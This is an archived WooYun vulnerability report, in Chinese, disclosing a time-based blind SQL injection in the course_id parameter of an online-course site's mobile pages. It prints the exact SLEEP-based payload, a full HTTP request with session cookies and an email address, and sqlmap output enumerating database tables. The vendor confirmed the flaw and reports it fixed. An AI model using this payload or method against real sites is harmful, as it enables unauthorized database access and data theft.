当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146747

漏洞标题：好课网移动端主页一处SQL注入漏洞

相关厂商：好课网

漏洞作者： 三浪兄

提交时间：2015-10-14 17:36

修复时间：2015-10-15 11:19

公开时间：2015-10-15 11:19

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-14： 细节已通知厂商并且等待厂商处理中
2015-10-15： 厂商已经确认，细节仅向厂商公开
2015-10-15： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

你们移动端安全堪忧啊。。。。。。

详细说明：

GET /course/detail2?course_id=104156 HTTP/1.1
Host: m.class.cn
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Referer: http://m.class.cn/course/detail?course_id=104156
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,pl;q=0.4,zh-TW;q=0.2
Cookie: RESET_PASSWD_COOKIE=1852; email=385838661%40qq.com; eol_auth=2fa09fcd4a72e81ee765217bd90ace3a; eol_userid=1208632; eol_name=%E6%8D%95%E9%B1%BC%E4%B8%8A%E5%88%86%E5%99%A8; eol_email=385838661%40qq.com; open_flag=%DF%5E%BD%DF; recom=1; loginTime=1444810529; PHPSESSID=pofsndihbptel2ske4qm79nei0; CNZZDATA5333700=cnzz_eid%3D1683793653-1444736309-null%26ntime%3D1444809529; Hm_lvt_5907fb81dedac17075ae6def57dc2989=1444738730,1444738958,1444738989,1444739041; Hm_lpvt_5907fb81dedac17075ae6def57dc2989=1444811250


注入参数：course_id

漏洞证明：

屏幕快照 2015-10-14 下午5.01.56.png


"eol_study2"数据库88张表

---
Parameter: course_id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: course_id=104156 AND (SELECT * FROM (SELECT(SLEEP(5)))DvvG)
---
[17:01:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.10
back-end DBMS: MySQL 5.0.12
[17:01:07] [INFO] fetching tables for database: 'eol_study2'
[17:01:07] [INFO] fetching number of tables for database 'eol_study2'
[17:01:07] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[17:01:07] [WARNING] time-based comparison requires larger statistical model, please wait..............................                                                            
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:03:11] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
[17:03:21] [INFO] adjusting time delay to 1 second due to good response times
88
[17:03:25] [INFO] retrieved: Study_Aboutfile
[17:04:38] [INFO] retrieved: Study_Admin_Manage
[17:05:34] [INFO] retrieved: Study_Coupon_Code
[17:06:39] [INFO] retrieved: Study_Coupon_List
[17:07:12] [INFO] retrieved: Study_Coupon_User_List
[17:08:09] [INFO] retrieved: Study_Coupon_log
[17:09:14] [ERROR] invalid character detected. retrying..
[17:09:14] [WARNING] increasing time delay to 2 seconds 
[17:09:14] [INFO] retrieved: Study_Course
[17:09:58] [INFO] retrieved: Study_CourseT

修复方案：

过滤

版权声明：转载请注明来源 三浪兄@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-10-15 10:24

厂商回复：

多谢。

最新状态：

2015-10-15：已修复。